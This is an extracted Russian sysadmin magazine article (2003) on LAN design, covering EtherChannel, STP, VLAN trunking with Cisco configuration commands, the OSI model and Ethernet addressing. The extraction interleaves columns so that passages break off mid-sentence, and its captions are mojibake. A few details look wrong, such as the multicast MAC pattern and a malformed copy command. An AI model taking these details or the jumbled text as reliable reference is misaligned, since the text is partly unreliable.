Для того чтобы разрешить проблему отказов в линиипередачи, бывает достаточно ввести параллельные свя-зи в сети:

ГлоссарийВычислительная сеть (локальная вычислительная

сеть, ЛВС) – это сеть компьютеров, сосредоточенных нанебольшой территории; в общем случае ЛВС представ-ляет собой коммуникационную систему, принадлежащуюодной организации.

Производительность – в данной работе имеет место,пусть и не вполне корректное отождествление таких поня-тий, как производительность, время отклика системы и ско-рость передачи данных. Итак, под производительностьюбудет пониматься скорость, с которой данные могут бытьпереданы по линии связи от одного ее окончания к другому.

Отказоустойчивость (надежность) – в данном слу-чае определение тоже не вполне каноническое: под отка-зоустойчивостью (надежностью) будем понимать способ-ность системы сохранять свою функциональность присбое/отказе в одном из ее узлов.

Восстанавливаемость – время, требуемое на физи-ческую замену вышедшего из строя модуля на новый (илиже сама возможность такой операции).

Масштабируемость – степень сложности или наличиевозможности увеличения числа абонентов вычислитель-ной сети.

Инкапсуляция (encapsulation) – процедура дробленияданных на фрагменты определенной длины с добавлени-ем к ним некой служебной информации.

Время наработки на отказ – время, проходящее с мо-мента включения нового прибора до его отказа.

Отказ – полная потеря работоспособности устройства;устраняется посредством ремонта.

Сбой – краткосрочная потеря работоспособности (не-

корректное функционирование) устройства; имеет случай-ный характер.

Зацикливание – ситуация, при которой пакет, пере-данный отправителем и достигший адресата, не уничто-жается, т.к. существует в нескольких экземплярах, воз-никающих в каждом узле ветвления тракта передачи дан-ных. Приводит к бесконечной (в пределах срока жизни)ретрансляции пакета. Сводит к нулю эффективную про-пускную способность ЛВС. Порождается теми же причи-нами, что и широковещательные штормы.

Шторм широковещания (broadcast storm) – «размно-жение» широковещательных пакетов, приводящее к зна-чительному, вплоть до полной остановки, снижению про-пускной способности ЛВС. Возможен при неправильнойнастройке протокола охватывающего дерева в случае на-личия петель в сети.

Протокол охватывающего дерева, Spanning TreeProtocol (STP) – протокол, настройка которого позволяетлогически разрывать существующие физические линиисвязи в принудительном порядке. Из нескольких существу-ющих трактов передачи данных оставляется только один,корневой маршрут, а остальные переводятся в выключен-ное состояние. При этом службы протокола инспектиру-ют активную связь и при ее разрыве активируют одну изальтернативных линий, находившихся до того в состоя-нии принудительного логического отключения.

EtherChannel – технология объединения нескольких (отдвух до восьми) портов коммутатора. При этом скоростьрезультирующего канала кратна количеству портов, за-действованных в группировании. Для создания каналаEtherChannel равное количество портов на двух коммута-

Page 83: 004 Системный Администратор 03 2003

81№3(4), март 2003

образование

Ðèñ. 4. ËÂÑ ñ êîëüöåâûì ðåçåðâèðîâàíèåì.

Однако такое резервирование не спасает при выходеиз строя одного из промежуточных узлов коммутации(если произойдет отказ коммутатора 2 или коммутатора3, то связь между абонентами 1 и 2 опять будет невоз-можна). Для этого случая целесообразно предусмотретьрезервный канал между первым и последним коммутато-рами, создав, таким образом, кольцо:

Естественно, подобное резервирование не спасает отповреждений соединений последней мили, от поврежде-ний портов подключения абонентов и от выхода из строяоконечных коммутаторов. Для снижения рисков, связан-ных с этими угрозами, следует оставлять несколько сво-бодных гнезд на каждом коммутаторе (тогда, в случаевыхода из строя используемых портов, можно быстро пе-ренастроить свободный порт и осуществить переключе-ние абонента вручную). Также стоит по возможности ис-пользовать коммутаторы, которые поддерживают установ-ку плат расширения, предоставляющие как дополнитель-

ные порты, так и дополнительные процессоры коммута-ции. [4] Более того, желательно использовать оборудова-ние, поддерживающее установку двух и более блоковпитания и систем вентиляции. Это также снизит риск об-щего выхода системы из строя.

Однако при создании в ЛВС каких-либо запасных мар-шрутов передачи данных возникает масса проблем. По-добная схема обеспечения надежности не закладываласьв стандарты, определяющие логику работы Ethernet. Пред-полагается, что любой путь от одного узла к другому уни-кален. В случае возникновения петель (это происходит придобавлении резервных/альтернативных связей между уз-лами сети) возникают «штормы широковещания» и за-цикливание пакетов (об этом несколько позже).

Недостаточная скоростьСуществуют ситуации, в которых приложениям необходи-мо предоставить более высокую скорость передачи дан-ных, чем это возможно сделать из-за ограничений суще-ствующих портов коммутатора. Например, в сети суще-ствуют порты со скоростью передачи трафика 10 Мб/с,или 100 Мб/с. При этом требуются скорости в 50 или же500 Мб/с). Подобная задача может быть решена тремя спо-собами: установкой нового, более производительного обо-рудования, установкой в корпус имеющихся коммута-торов более скоростных плат расширения или объедине-

торах объединяется в группу, затем между ними прокла-дывается кабельное соединение. По аналогии с техноло-гией, получаемый канал также именуется EtherChannel.

Виртуальная ЛВС (VLAN) – группа узлов сети, тра-фик которой, в том числе и широковещательный, на ка-нальном уровне полностью изолирован от других узловсети. [1] Технология VLAN предназначена для облегченияпроцесса построения разделенных ЛВС, что предостав-ляет весьма мощный барьер на пути распространенияошибочного трафика из одной сети в другую.

Кроссовер (crossover) – витая пара, обжатая такимобразом, что первый и третий, второй и шестой, третий ипервый, шестой и второй контакты RJ-разъемов соедине-ны между собой:

Используется для соединения коммутатора с коммутато-ром, концентратора с концентратором, концентратора скоммутатором, маршрутизатора с маршрутизатором, двухкомпьютеров напрямую.

Прямой кабель (патч-корд, straight-through) – кон-такты двух RJ-разъемов соединяются согласно номерам:первый с первым, второй со вторым, третий с третьим,шестой с шестым:

Этот тип кабелей используется для соединения маршру-тизатора с концентратором или коммутатором, компью-тера с концентратором или коммутатором.

Внешний порт – порт коммутатора, участвующий ворганизации связи с другим коммутатором.

Внутренний порт – порт коммутатора, используемыйдля организации связи с абонентом сети.

Ограничение 5-4-3 – между двумя любыми узламисети может быть не более пяти сегментов и четырех по-вторителей. При этом только три сегмента сети могут бытьнагружены. Данное ограничение накладывается на раз-деляемые 10-мегабитные сети.

Модель OSIЭто семиуровневая эталонная модель OSI (open

systems interconnection, взаимодействие открытых систем)была предложена международной организацией по стан-дартизации (ISO, international standard organization) про-изводителям сетевого оборудования и сетевого программ-ного обеспечения, с тем чтобы облегчить/сделать возмож-ным взаимодействие продукции различных фирм-произ-водителей. На этапе становления отрасли вычислитель-ных сетей большая часть оборудования, производимогов мире, была несовместима друг с другом ни с точки зре-ния физической организации работы, ни с точки зрениялогической обработки передаваемых сигналов. Даннаямодель имеет семь уровней, каждый из которых отвечаетза определенное действие.

Физический уровень – уровень, описывающий пара-метры передаваемого сигнала, характеристики среды пе-редачи, такие как коннекторы, разъемы, кодирование, оп-

Ðèñ. 1 Êðîññîâåð.

Ðèñ. 2. Ïàò÷-êîðä.

Page 84: 004 Системный Администратор 03 2003

82

образование

Ðèñ. 5. Òåõíîëîãèÿ EtherChannel â ËÂÑ.

ния нескольких портов коммутатора в EtherChannel. Какможет показаться на первый взгляд, идея объединениянескольких линий в одну весьма затратна и неэффектив-на, т.к. при этом, с одной стороны, занимается значитель-ное количество портов коммутатора, а с другой – прихо-дится сильнее нагружать процессор коммутатора. Одна-ко очевидно, что по тем или иным причинам не всегдавозможно установить дополнительную плату расширенияили же новый, более производительный коммутатор. Этоможет быть обусловлено финансовыми затруднениями,или же тем, что необходимая скорость передачи данныхеще вообще не реализована. Так, имея восемь 10-гига-битных портов (в настоящее время технология 10GEthernet переживает свое становление, но, тем не менее,уже можно рассматривать возможность ее использова-ния в реальной жизни), можно организовать 80-гигабит-ный канал передачи данных. С другой стороны, созданиеканала EtherChannel позволяет иметь в сети несколько од-новременно работающих запараллеленных линий связи,что невозможно в иных случаях. Таким образом, решая про-блему повышения пропускной способности сети на каком-либо участке, можно решить еще и проблему резервиро-вания связей. При разрыве одного из каналов, образую-щих группу, EtherChannel не разрушается, а лишь теряет впропускной способности, что, хоть и неприятно с точки зре-ния системного администратора, но не так критично с точ-ки зрения функциональной пригодности самой ЛВС. В слу-чае с EtherChannel мы имеем «горячее» резервирование,в то время как используя протокол STP, мы можем рассчи-тывать лишь на «теплое» резервирование.

Увеличение числа абонентовУвеличение числа абонентов в сети стоит трактоватьдвояко: во-первых, это процедура расширения сети, еемасштабирование (добавление новых подключений,плат расширения, коммутаторов), а во-вторых, – управ-ление трафиком возрастающего числа абонентов.

МасштабированиеПри проектировании сети естественно возникает воп-рос: будет ли развиваться производство, использующеепланируемую сеть, или нет. Иными словами, всегда сто-ит выяснить у заказчика будущее его ЛВС. Если в сетипланируется установить простенький коммутатор с дю-жиной 100-мегабитных портов и подключить к нему де-сяток пользователей, то проблем с масштабировани-ем, скорее всего, не возникнет. Самое неприятное, чтоможет случиться, так это необходимость установитьеще один такой же коммутатор. Все, что для этого по-надобится – витая пара, обжатая как «кроссовер» и самкоммутатор. Если же предполагается значительное рас-ширение сети, увеличение не только числа абонентов,но и сервисов, предоставляемых сетью, то установкойеще одного коммутатора ограничиться, скорее всего,не удастся. Разумной выглядит идея заложения перс-пективы расширения сети в проект на этапе техничес-кого задания. В любом случае предпочтительно исполь-зование модульных устройств. Они и надежнее (сгорелодин модуль – на его место, в тот же слот, ставитсядругой модуль), и гибче: понадобились порты для под-ключения оптоволоконных кабелей – покупайте и уста-навливайте; нужен модуль ATM или возникла потреб-ность в передаче голоса по сети – достаточно приобре-сти соответствующую плату расширения, а не еще одингромоздкий шкаф.

Кроме того, покупая дополнительный коммутатор,приходится платить за его корпус, за процессор комму-тации, за блок питания – нести расходы, которые нико-им образом не относятся к вычислительной сети, от ко-

тическая модуляция. Физическому уровню соответству-ют такие протоколы/стандарты, как EIA/TIA-232, V.35, EIA/TIA-449, V.24, RJ45, Ethernet, 802.3, 802.5, FDDI, NRZI, NRZ,B8ZS. [2]

Канальный уровень – уровень, протоколы которогоотвечают за проверку доступности среды передачи, об-наружение и коррекцию ошибок. [1] К протоколам каналь-ного уровня относятся IEEE 802.3/802.2, HDLC, FrameRelay, PPP, FDDI, ATM, IEEE 802.5/802.2.

Сетевой уровень – уровень, служащий для образова-ния единой транспортной системы. Протоколы сетевогоуровня, перенаправляющие данные от одной системы к дру-гой, позволяют выполнить адресацию при межсетевом вза-имодействии. Протоколы сетевого уровня подразделяют надва класса: с установкой соединения и без него. Протоколыпервого класса сначала устанавливают соединение (уста-навливают маршрут следования пакетов от источника к по-лучателю). Протоколы второго класса оперируют данными,содержащими полную адресную информацию адресата.Каждое промежуточное сетевое устройство, получив такой

пакет, считывает адресную информацию и принимает ре-шение о дальнейшей маршрутизации. [3] К протоколам се-тевого уровня относятся IP, IPX, AppleTalk, DDP, ICMP.

Транспортный уровень – уровень, отвечающий за пе-редачу данных верхних уровней с той степенью надежнос-ти, которая им требуется. В модели OSI имеется 5 классовсервиса предоставляемых транспортным уровнем. Эти клас-сы отличаются качеством услуг: срочностью, возможностьювосстановления прерванной связи, наличием средств муль-типлексирования нескольких соединений между различны-ми протоколами через общий транспортный поток, способ-ностью к обнаружению и исправлению ошибок передачи,таких как потеря, искажение и дублирование пакетов. [1] Про-токолами транспортного уровня являются SPX, TCP, UDP.

Сеансовый уровень – определяет способ начала, под-держивания и завершения сеанса связи между двумя або-нентами (собственно отсюда и происходит его название).Это позволяет двум приложениям синхронизировать связьи обмениваться данными. На этом уровне обмен междудвумя системами делится на диалоговые блоки, и обес-

Page 85: 004 Системный Администратор 03 2003

83№3(4), март 2003

образование

торой требуется лишь наличие свободных портов дляподключения устройств и наличие определенного спек-тра сервисов. Еще один аргумент в пользу модульныхкоммутаторов – отсутствие необходимости заниматьпорты коммутатора для осуществления связи с други-ми коммутаторами (имея в сети двадцать коммутато-ров, придется выделить на их взаимодействие как ми-нимум тридцать восемь портов, в то время как при на-личии пяти коммутаторов, обеспечивающих аналогич-ную (а зачастую и превосходящую) функциональность,для обеспечения взаимодействия между ними потре-буется лишь восемь портов).

В качестве примера модульного коммутатора можнопривести коммутаторы Catalyst восьми-, шести-, пяти- ичетырехтысячной серий производства Cisco Systems.

Управление трафикомКогда сеть начинает разрастаться, либо если ЛВС из-начально имеет сложную структуру, то становится воз-можным выделить независимые подразделения, кото-рые практически не общаются друг с другом. При этомкомпьютеры каждого подразделения транслируют всеть свои широковещательные пакеты, т.к. имеетсяединый домен широковещания (broadcast domain). Ес-тественно, что это не может не оказать влияния на про-изводительность сети, поскольку любой, даже столь не-значительный трафик приводит к увеличению нагруз-ки, а соответственно, и к падению общей пропускнойспособности. Помимо служебного трафика, существу-ет еще и ошибочный трафик – пакеты, хотя и достав-ленные адресатам, но копии которых все еще находят-ся в сети.

Естественным было бы желание разбить ЛВС на логи-ческие фрагменты согласно циркуляции трафика. Приэтом компьютеры, принадлежащие к одному отделу, по-падали бы в одну функциональную подгруппу. Такой эф-фект может быть получен как минимум двумя способами:физическим разделением сети с использованием марш-

рутизаторов и логическим разделением посредством тех-нологии виртуальных ЛВС.

Особого внимания заслуживает технология вирту-альных сетей, благодаря которой можно, не прибегая киспользованию дополнительного дорогостоящего обо-рудования, повысить производительность сети, облег-чить процесс администрирования сети, повысить сте-пень контроля за передаваемым по сети трафиком.

STP (протокол охватывающего дерева)Впервые протокол охватывающего дерева был предложенкомпанией Digital Equipment Corporation (DEC), которая по-зднее была куплена и стала частью Compaq, компании, став-шей, в свою очередь, элементом такого гиганта, как HP.

Несколько позднее комитет IEEE выпустил собствен-ную версию протокола STP, получившую название 802.1d.В настоящее время обе версии STP совместимы и под-держиваются всеми коммутаторами Cisco.

Основной задачей STP является предотвращение воз-никновения в сети петель канального уровня (на уровне мо-стов и коммутаторов). Службы протокола непрерывно инс-пектируют ЛВС, находя при этом все существующие связи ипереводя избыточные связи в пассивное состояние.

Процедура избавления от избыточных связей основа-на на выборе «корневого моста». При этом в сети можетбыть только один «корневой мост». Порты корневого мо-ста называются назначенными портами и функциониру-ют в так называемом передающем режиме: они способ-ны передавать и принимать трафик.

Все остальные коммутаторы в сети являются некор-невыми. Часть портов некорневых коммутаторов являет-ся корневыми портами (это определяется затратностьюпорта, что, в свою очередь, зависит от пропускной спо-собности образуемой связи с корневым мостом), котораятакже находится в передающем режиме. Остальные пор-ты находятся в выключенном состоянии. Такой режим ра-боты называется блокированным.

печиваются основные и вспомогательные точки синхро-низации этого обмена. [2,3] К протоколам сеансового уров-ня относятся RPC, SQL, NFS, NetBios names, AppleTalkASP, DECnet SCP.

Представительский уровень – уровень, определяю-щий формат передаваемых данных. Еще одной функци-ей этого уровня является шифрование. [2]

Прикладной (программный) уровень – уровень, оп-ределяющийся приложениями, взаимодействующими сприложениями других компьютеров. Примерами этогоуровня могут служить Telnet, HTTP, FTP, WWW-браузе-ры, NFS, SMTP, SNMP, X.400, FATM. [2]

Приложения программного уровня генерируют потокданных, который должен быть передан какому-либо уда-ленному узлу. Дробление потока данных начинается натранспортном уровне. Перед блоком передаваемых дан-ных ставится заголовок транспортного уровня, позволя-ющий стороне-приемнику осуществлять коррекцию дан-ных, учет потерянных и повторяющихся сегментов.

На сетевом уровне к началу сегмента (датаграммы), по-лученного с транспортного уровня, приписывается сетевойадрес отправителя. Наличие такой информации делает воз-можной маршрутизацию пакетов между сетями.

На канальном уровне к полученному пакету приписыва-ется заголовок канального уровня, содержащий преамбулу,MAC-адрес получателя и MAC-адрес отправителя. К концупакета приписывается трейлер, содержащий проверочнуюпоследовательность кадра (иными словами – результат из-быточного цикличного кодирования), позволяющий опреде-лять и исправлять ошибки физического уровня.

Ðèñ. 3 Èíêàïñóëÿöèÿ äàííûõ äëÿ IP-ñåòåé.

Page 86: 004 Системный Администратор 03 2003

84

образование

Ðèñ. 7. Ðàçáèåíèå ËÂÑ íà 3 øèðîêîâåùàòåëüíûõ äîìåíà áåçèñïîëüçîâàíèÿ VLAN.

Ðèñ. 8. Ðàçáèåíèå ËÂÑ íà 3 øèðîêîâåùàòåëüíûõ äîìåíà ñèñïîëüçîâàíèåì VLAN.

Òàáëèöà 1. Òèïîâûå ñòîèìîñòè äëÿ ðàçëè÷íûõ ñåòåé Ethernet.

Ðèñ. 6. Ðàáîòà STP-ïðîòîêîëà.

Òàáëèöà 2. Êðàòêîå îïèñàíèå ðåæèìîâ ïîðòîâ.

Определение «корневого моста»Коммутаторы, поддерживающие STP, обмениваются ин-формацией, называемой Блоки Данных Протокола Мо-ста (Bridge Protocol Data Units, BPDU). Блоки BPDU пе-редаются посредством многоадресной рассылки и со-держат конфигурационную информацию.

Для определения корневого моста и корневых пор-тов используется идентификатор моста (коммутатора).Этот идентификатор записывается в 8 байтах и содер-жит приоритет устройства и его MAC-адрес. По умол-чанию приоритет всех устройств, выполняющих STP802.1d, равен 32768. Если приоритеты обоих коммута-торов равны, затем сравниваются их MAC-адреса. В ка-честве корневого моста выбирается устройство с наи-более низким приоритетом. Стоит также помнить, чтоBPDU передаются по сети каждые 2 секунды (если неназначен иной интервал оповещения).

Определение «выбранного порта»Чтобы определить порты, которые будут использованы длясообщения с корневым мостом, необходимо для началарассчитать стоимости путей. Протокол вычисляет стоимо-сти путей на основе пропускных способностей проходи-мых каналов согласно приводимой ниже таблице:

Режимы работы портов STPПорты коммутатора, управляемого STP-протоколом, мо-гут находиться в четырех различных состояниях:� Блокировка – в этом режиме кадры не передаются;

читаются блоки BPDU. Все порты находятся в данномсостоянии, когда коммутатор включается первый раз.

� Прослушивание – читаются блоки BPDU, чтобы убедить-ся в отсутствии петель в сети перед пересылкой данных.

� Изучение – определяет MAC-адреса и строит таблицуфильтрации, однако кадров не передает.

� Передача – передает и принимает данные.

Типичной ситуацией для портов коммутатора явля-ется нахождение либо в состоянии блокировки, либо всостоянии передачи. Если же в сети произошли топо-логические изменения (обрывы или же были добавле-ны новые коммутаторы), то все порты переходят в ре-жим прослушивания и изучения.

Важным параметром протокола является сходимость –время, за которое порт может перейти из режима блоки-ровки в режим передачи. Предустановленное время кон-вергенции – 50 секунд, однако оно может быть изменено,что не рекомендуется, но в исключительных случаях воз-можно изменить и эту настройку.

Virtual LAN (виртуальные ЛВС)Как уже упоминалось, виртуальные сети предназначеныдля разбиения ЛВС на несколько доменов широковеща-ния. Этого результата можно добиться двумя способами:

В обеих схемах используется маршрутизатор, т.к.коммутатор, являющийся устройством канального уров-ня, не может передавать трафик между различнымисетями (будь то физически разделенные сети или желогически разделенные виртуальные сети). Ниже при-водится пример конфигурирования виртуальной сети:

Page 87: 004 Системный Администратор 03 2003

85№3(4), март 2003

образование

Ðèñ. 10. Ìàðøðóòèçàöèÿ ìåæäó âèðòóàëüíûìè ËÂÑ.

Ðèñ. 9. Äâà êîììóòàòîðà, äâà VLAN.

Switch>enableSwitch#vlan databaseSwitch(vlan)vlan vlan_number name vlan_nameSwitch(vlan)exitSwitch#config terminalSwitch(config)interface module/numberSwitch(config-if)switchport mode accessSwitch(config-if)switchport access vlan vlan_numberSwitch(config-if)end

Router>enableRouter#config terminalRouter(config)interface fastethernet 0.1Router(config-if)ip address 1.1.1.1 255.255.255.0Router(config-if)encapsulation isl 1Router(config)interface fastethernet 0.2Router(config-if)ip address 1.1.2.1 255.255.255.0Router(config-if)encapsulation isl 2Router(config)interface fastethernet 0.3Router(config-if)ip address 1.1.3.1 255.255.255.0Router(config-if)encapsulation isl 3Router(config-if)^ZRouter#copy running config start config

В результате описанных действий будет создана вир-туальная сеть с номером vlan_number и именем vlan_name.После этого порт коммутатора с номером module/numberбудет приписан в виртуальную сеть с заданным номеромvlan_number.

Технология виртуальных сетей облегчает управлениесетью: если какой-либо пользователь переезжает в дру-гой офис, не меняя при этом виртуальной сети, достаточ-но лишь включить его новый порт подключения в его ста-рую виртуальную сеть.

Для каждой VLAN коммутатор генерирует отдельную таб-лицу адресов. Так, если кадр был получен портом, припи-санным к VLAN2, то поиск будет производиться в соответ-ствующей таблице адресов. Когда кадр получен, адрес от-правителя сверяется по адресной таблице. И если его тамнет, он туда заносится. Также проверяется и адрес получа-теля, с тем чтобы можно было принять решение о перенап-равлении принятого кадра в верном направлении. Инымисловами, коммутатор работает точно также, как и в обыч-ном режиме, за исключением того, что используются отдель-ные адресные таблицы для каждой виртуальной сети.

В случае если используется один коммутатор, все бо-лее или менее просто. Если же коммутаторов несколько,то их надо каким-то образом объединить, что непросто.На рисунке 9 приведена ситуация, когда на двух комму-таторах построено две виртуальные сети.

Положим, что компьютер из VLAN1 первого коммута-тора передает кадр компьютеру из VLAN1 второго ком-мутатора. Передача кадра будет сопровождаться следу-ющими шагами:� Стороной отправителем будет сгенерирован кадр с не-

которым адресом получателя (пусть это будет MAC0200.1111.0002).

� Коммутатор 1 получает этот кадр.� Коммутатор сличает MAC-адрес полученного кадра по

таблице адресов первой VLAN.� Коммутатор пересылает кадр на свой внешний порт.� Коммутатор 2 получает кадр на своем внешнем порту.

Далее возможны три альтернативных продолжения.� Коммутатор 2 имеет свой внешний порт в VLAN1. В

этом случае он находит в адресной таблице соответ-ствующий MAC-адрес и пересылает кадр получателю.

Или…� Внешний порт коммутатора 2 не находится в VLAN1.

В этом случае кадр не может быть доставлен адре-сату, поскольку коммутатор не осуществляет марш-рутизации между виртуальными сетями.

Или…� Перед тем как выполнен шаг 4, коммутатор 1 при-

писывает к кадру заголовок, который идентифици-рует его принадлежность к первой виртуальной сети.В этом случае коммутатор 2, проанализировав за-головок кадра, способен принять верное решение оперенаправлении данных в нужную VLAN, на нуж-ный интерфейс.

Сетевые коммутаторы используют третий метод –тегирование кадров. Суть тегирования заключается вдобавлении к заголовкам каждого кадра некоей сопро-водительной информации, определяющей принадлеж-ность кадра к той или иной подсети. Второе названиетегирования – транкинг (trunking).

Оборудование Cisco Systems поддерживает две раз-новидности транкинга: ISL (Inter-Switch Link, объедине-ние коммутаторов) и IEEE802.1Q. Транкинг использу-ется не только между коммутаторами, но и между мар-шрутизатором и коммутатором. Пусть имеется сеть,изображенная на рисунке 10.

Тогда для этого случая маршрутизатор можно на-строить таким образом, что, заняв только один его порт,можно обеспечить маршрутизацию между тремя вир-туальными сетями:

Данный пример конфигурирования 100-мегабитно-го (Fast Ethernet) порта маршрутизатора приводит ктому, что на интерфейсе создается три подынтерфей-са (команды interface fastethernet 0.*) с инкапсуляциейISL (encapsulation isl *, в этой команде указывается но-мер виртуальной сети, кадры из которой приходят на

Page 88: 004 Системный Администратор 03 2003

86

образование

Òàáëèöà 4. Ðåæèìû VTP.

Òàáëèöà 3. Ìåòîäû òåãèðîâàíèÿ.

Switch>enableSwitch#config terminalSwitch(config)interface module/numberSwitch(config-if)switchport mode trunk

<on|off|desirable|auto|nonegotiate>Switch(config-if)switchport trunk encapsulation

<isl|dot1q>Switch(config-if)switchport trunk allowed vlan add|remove

vlan_listSwitch(config-if)end

конфигурируемый подынтерфейс) и некоторым ip-ад-ресом (ip address адрес-маска).

Процедура настройки транкинга для портов комму-татора несколько отлична от приведенной последова-тельности команд для маршрутизатора:

В результате порт коммутатора с номером module/numberперейдет в режим транкинга и будет обслуживать трафиквиртуальных сетей, указанных в списке vlan_list.

Несколько ранее упоминалось о транк-протоколеIEEE802.1Q. Этот протокол отличается от ISL толькотем, какой заголовок добавляется к кадру. Кроме этихдвух методов инкапсуляции существуют еще 802.10 иLANE (LAN Emulation).

Дополнительной особенностью использования вир-туальных сетей является VTP – протокол транкинга вир-туальных сетей. Этот протокол облегчает администри-рование виртуальных сетей, позволяя настраиватьсвойства VLAN единожды, а не для каждого коммута-тора отдельно. Этот протокол распределяет и синхро-низирует идентифицирующую информацию о виртуаль-ных сетях по всей коммутируемой сети. Все настройкиделаются для одного коммутатора, называемого VTP-сервером, и затем они транслируются по всему VTP-домену.

Всего существует три режима протокола VTP:� Режим сервера (server mode) – серверы VTP имеют

полный контроль над созданием и изменением вир-туальных сетей в пределах своего домена. По умол-чанию коммутаторы находятся в режиме сервера.Для каждого домена необходимо иметь хотя бы одинсервер VTP.

� Режим клиента (client mode) – VTP-клиенты не по-зволяют администратору создавать, удалять, изме-нять VLAN. Коммутаторы, находящиеся в этом ре-жиме ожидают информацию, приходящую с серве-ра и соответственно ей меняют свои настройки.

� Прозрачный режим (transparent mode) – находясь вэтом режиме, коммутатор не передает данных о сво-их VLAN, и не синхронизирует свои настройки со-гласно приходящей с серверов информации. В этомрежиме на коммутаторе могут быть созданы вирту-альные сети, видимые исключительно им.

ЛВС, мосты и коммутаторыНаиболее широко распространенной сетевой техноло-гией в настоящее время является технология Ethernet.Поэтому эта часть будет посвящена обсуждению базо-вых принципов работы этой технологии, а также уст-ройств, используемых при построении сетей Ethernet.

Для того чтобы полнее понять суть Ethernet, стоитобратиться к таким архаичным вещам, как специфика-ции 10Base2 и 10Base5. Эти спецификации определя-ли физический уровень раннего стандарта Ethernet. Вэтих сетях не было ни концентраторов, ни коммутато-ров, ни патч-панелей – были лишь сегменты коаксиаль-ного кабеля, соединявшие одно сетевое устройство сдругим.

Вследствие того что это была единственная шина,только один электрический сигнал мог распространять-ся по сети в каждый момент времени. Если же случа-лось, что в сеть было послано несколько сигналов, тоони накладывались друг на друга и переставали бытьраспознаваемыми.

Неудивительно, что был разработан способ переда-чи данных, учитывающий эту неприятную особенность –в противном случае пользы от таких сетей не было бывовсе. Алгоритм, известный как CSMA/CD (множествен-ный доступ с контролем несущей и с определением стол-кновений), определял порядок доступа к среде переда-чи. В упрощенном виде алгоритм доступа к среде выгля-дит примерно так:� Устройство, имеющее кадры для передачи, прослу-

шивает сеть на предмет ее занятости.� Если сеть свободна, отправитель начинает передачу.� Во время процесса передачи отправитель продол-

жает прослушивать сеть, чтобы удостовериться в от-сутствии столкновений.

� Если во время передачи произошла коллизия, пере-дающая сторона случайным образом генерирует ин-тервал ожидания, по истечении которого повторяетпервую операцию.

Протокол CSMA/CD решает значительное число про-блем, однако его использование делает сеть малоэф-фективной при большом количестве пользователей. Двенаиболее негативные особенности протокола заключа-ются в том, что:� Все столкнувшиеся кадры уничтожаются, и их при-

ходится пересылать повторно. Это приводит к ростузадержек в сети.

Page 89: 004 Системный Администратор 03 2003

87№3(4), март 2003

образование

Òàáëèöà 5. Íåêîòîðûå îñîáåííîñòè òåõíîëîãèè Ethernet.

� Задержка растет также и для станций, ожидающих пра-ва на передачу. Поскольку при возрастании количе-ства участников обмена данными по сети трафик сетинасыщается, то и время ожидания для каждой стан-ции растет.

Разработка спецификации 10BaseT решило частьпроблем, связанных с использованием предыдущих вер-сий стандарта. Одним из преимуществ этой технологиистала возможность использования телефонного кабеля,который значительно проще в обращении и дешевле, не-жели коаксиальный кабель. Кроме того, использованиеконцентраторов привело к повышению надежности сети,т.к. обрыв одного луча приводил к отключению толькоодной рабочей станции, в то время как обрыв коакси-ального сегмента полностью выводил сеть из строя. Кон-центратор представляет собой многопортовый повтори-тель и развивает концепцию 10Base2 и 10Base5. Приэтом проблема столкновений остается нерешенной. По-скольку все устройства сети имеют равные права на пе-редачу данных и на полосу пропускания сети, подобныесети называются разделяемыми.

Несмотря на то что концентраторы решили часть про-блем, связанных с прокладкой кабельной системы и на-дежностью сети, проблема падения производительностипри росте числа подключений осталась очень острой.Проблема усугублялась тем, что разделяемые сети пред-ставляли собой единый домен коллизий, т.к. передавае-мый сигнал ретранслируется всем устройствам сети, заисключением узла-отправителя.

Со временем для решения проблем, связанных с ис-пользованием алгоритма CSMA/CD были разработаныкоммутаторы. Эти устройства не создают единой разде-ляемой шины – они работают с каждым своим портом,как с отдельной шиной. Кроме того, коммутаторы исполь-зуют встроенную память для хранения приходящих кад-ров. Подобная буферизация также помогает предотвра-тить столкновения: так, если один компьютер сети пере-дает широковещательный пакет, а другой просто пытает-ся переслать пакет какому-либо узлу, то коммутатор мо-жет задержать в своем буфере широковещательное со-общение, предотвратив тем самым коллизию. Возвраща-ясь к истории, коммутаторы 10BaseT привнесли адреса-цию канального уровня, которая помогает избежать сете-вых коллизий. Другими словами – если к порту подклю-чено не более одного устройства, то столкновений в сетине будет. Подводя некий итог сказанному, можно прийтик выводу, что при отсутствии столкновений, отпадает не-обходимость в той части алгоритма, которая отвечает заих распознавание и предупреждение, а соответственно иполудуплексная передача более не актуальна. Таким об-разом, коммутаторы, у которых одному порту соответству-ет не более одного сетевого устройства, допускают пол-нодуплексный режим, т.е. одновременный прием и пере-дачу кадров. Применение коммутаторов дает следующиепреимущества:� Не происходит коллизий, а соответственно нет необ-

ходимости в повторной трансляции утерянных по этойпричине кадров.

� Сетевые устройства не тратят времени на ожиданиеосвобождения среды передачи.

� Фактически можно достичь 20 Мб/с, учитывая воз-можность одновременной двунаправленной переда-чи данных.

Такова краткая история первых двенадцати лет техно-логии Ethernet.

Сетевая адресацияАдресация в вычислительных сетях позволяет оперироватьс отдельными устройствами либо с их группами. Unicast-ад-рес определяет адрес сетевого адаптера одного устройства,подключенного к сети. Для идентификации друг друга стан-ция-отправитель и станция-адресат используют именно этиадреса. (Сам термин Unicast-адрес используется для аль-тернативы термину «широковещательному адрес» и «груп-повой адрес»). Комиссия IEEE определяет формат и прави-ла построения сетевого адреса. Согласно этим требовани-ям каждый сетевой адаптер имеет уникальный MAC-адрес(адрес контроля доступа к среде). Производители встраива-ют MAC-адреса в сетевые карты обычно в модуле ROM-па-мяти. Первая половина MAC-адреса идентифицирует фир-му-производителя. Эта часть кода, присваиваемая комис-сией IEEE каждому производителю, называется уникальныморганизационным идентификатором (OUI). Вторую полови-ну MAC-адреса присваивает сам производитель. При этомвсе присваиваемые номера уникальны, т.е. ранее не исполь-зовались. Адреса, полученные таким способом, называютеще универсальными или врезанными.

Групповые адреса идентифицируют более чем односетевое устройство. Различается три типа таких адресов:� Широковещательный адрес – наиболее часто исполь-

зуемый класс адресов. Широковещательный адресимеет значение FFFF.FFFF.FFFF (hex). Он означает, чтосообщение предназначается всем узлам сети.

� Множественный адрес – используется в сетях Ethernetи FDDI и описывает принадлежность кадра некоторойгруппе сетевых устройств. Этот тип адреса устанав-ливается программно и имеет вид 0110.5xxx.xxxx. Притаком адресе сетевой адаптер будет принимать кад-ры с адресом назначения от 0110.5000.0000 до0110.5FFF.FFFF. Такая MAC-адресация используетсясовместно с протоколом IGMP и IP-multicast.

Page 90: 004 Системный Администратор 03 2003

88

образование

Òàáëèöà 7. Ñòàíäàðòû Ethernet.

